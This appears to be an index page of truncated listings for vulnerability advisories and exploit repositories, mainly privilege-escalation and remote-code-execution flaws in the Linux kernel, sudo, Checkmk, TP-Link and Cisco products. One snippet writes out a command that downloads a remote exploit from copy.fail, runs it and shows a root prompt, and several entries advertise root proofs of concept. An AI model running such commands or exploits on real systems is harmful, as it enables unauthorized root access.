CVE-2026-31431-Copy-Fail

CVE-2026-31431 — Copy Fail Severity: Critical CVSS v3.1: 9.8 AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Status: Public Exploit Available Summary CVE-2026-31431 "Copy Fail" is a local privilege escalation vulnerability in the Linux kernel cryptographic subsystem. Any unprivileged user can escalate to roo...

CVE-2025-32463

CVE-2025-32463 Vulnerable: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17 - Patched in: sudo 1.9.17p1 and later - Legacy versions older than 1.9.14 are not affected, as they don't support the --chroot option. getroot.sh and getroot.py do the same thing. git clone https://github.com/shazed-x/CVE-2025-32463 c...

CVE-2026-113461

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

CVE-2026-16348

TP-Link Archer BE800 V1 — Authenticated RCE via VPN Key Injection CVE: CVE-2026-16348 CVSS: 8.5 High — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L Auth required: Valid admin credentials Network position: Network remote if management interface exposed Summary The VPN server...

cve_2026_31431_audit

CVE-2026-31431 Audit This project provides a professional Python script designed to check if a system is vulnerable to CVE-2026-31431 and demonstrates how to exploit it for research purposes. 🎬 Full Workflow The diagram below illustrates the complete workflow from Environment Audit SCAN, Patch...

CVE-2025-32463

CVE-2025-32463 🚨 Privilege escalation to root usingsudo chroot. No need for gcc installed. 🚀 What is CVE-2025-32463? CVE-2025-32463 is a Linux vulnerability that allows a local attacker to escalate privileges to root by abusing the sudo chroot command. Unlike similar exploits, this technique does...

CVE-2025-32463

CVE-2025-32463 - Setup and Execution Guide This is the first time I’ve ported a malicious exploit into a Nuclei template for a non-intrusive vulnerability scan that still demonstrates the underlying issue. I documented the process in more detail expressly as a learning exercise. My main challenge...

EUVD-2026-107474

Local privilege escalation in Checkmk 2.5.0p14 allows a local user with write access to the Oracle client library directory of an Oracle home listed in the 'oratab' file or to the 'oratab' file itself to execute code as root if an agent has the 'mk-oracle' plugin enabled...

CVE-2026-76466

A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as root. This vulnerability is due to the use of persistent cookies...

CVE-2026-76462

A vulnerability in the interprocess communication IPC channel of the Secure Firewall Posture module in Cisco Secure Client could allow an authenticated, local attacker to elevate privileges on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An...

ssh-hardening

SSH Hardening Lock down SSH on Debian/Ubuntu in one run: new port, no root login, key-based auth, optional UFW and Fail2Ban. What you’ll see When you run the script, it detects your OS and shows the settings before asking to continue: Quick start step-by-step 1️⃣ Install git if needed On...

Sudo-Agent-CTF-

Sudo-Agent-CTF 🛸 Write-up for Sudo Agent CTF TryHackMe, with enumeration, web exploitation, steganography, SSH and privilege escalation via CVE-2019-14287. 📌 Machine Information Item| Information ---|--- Platform| TryHackMe System| Linux Difficulty| Easy Objective| Web exploitation, FTP, SSH,...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

vsftpd-backdoor

Exploit for the vsftpd 2.3.4 Backdoor CVE-2011-2523 This exploit takes advantage of a backdoor in version 2.3.4 of the vsftpd FTP service. The backdoor was maliciously introduced into the source code and allows remote command execution as root on the affected server How it works The backdoor is...

CVE-2026-31431-rs

CVE-2026-31431 PoC copyfail Structure src/ ├── main.rs Exploit: AFALG + splice to overwrite /bin/su └── bin/ └── payload.rs Payload Self-contained nostd binaries with zero runtime dependencies: poc-rs: 4.1 KB payload embedded via includebytes! payload: 1.7 KB Build Requires Rust 1.85+: cargo buil...

CVE-2026-31431

CVE-2026-31431 POC for CVE-2026-31431 Script The script is a small 10-lines POC that allows any user to become root on a machine...

EUVD-2026-107382

A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as root. This vulnerability is due to the use of persistent cookies...

CVE-2026-76462

A vulnerability exists in the interprocess communication (IPC) channel of the Secure Firewall Posture module within Cisco Secure Client . Due to insufficient validation of user-supplied input , an authenticated local attacker can send crafted IPC messages to a local socket to elevate privileges. ...

CVE-2026-76462 Cisco Secure Client Privilege Escalation Vulnerability

A vulnerability in the interprocess communication IPC channel of the Secure Firewall Posture module in Cisco Secure Client could allow an authenticated, local attacker to elevate privileges on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An...

CVE-2026-76466 Cisco Expressway Series Remote Code Execution Vulnerability

A vulnerability in the database service feature of Cisco Expressway Series could allow an unauthenticated, remote attacker with network access to a Cisco Expressway device to execute arbitrary operating system commands as root. This vulnerability is due to the use of persistent cookies...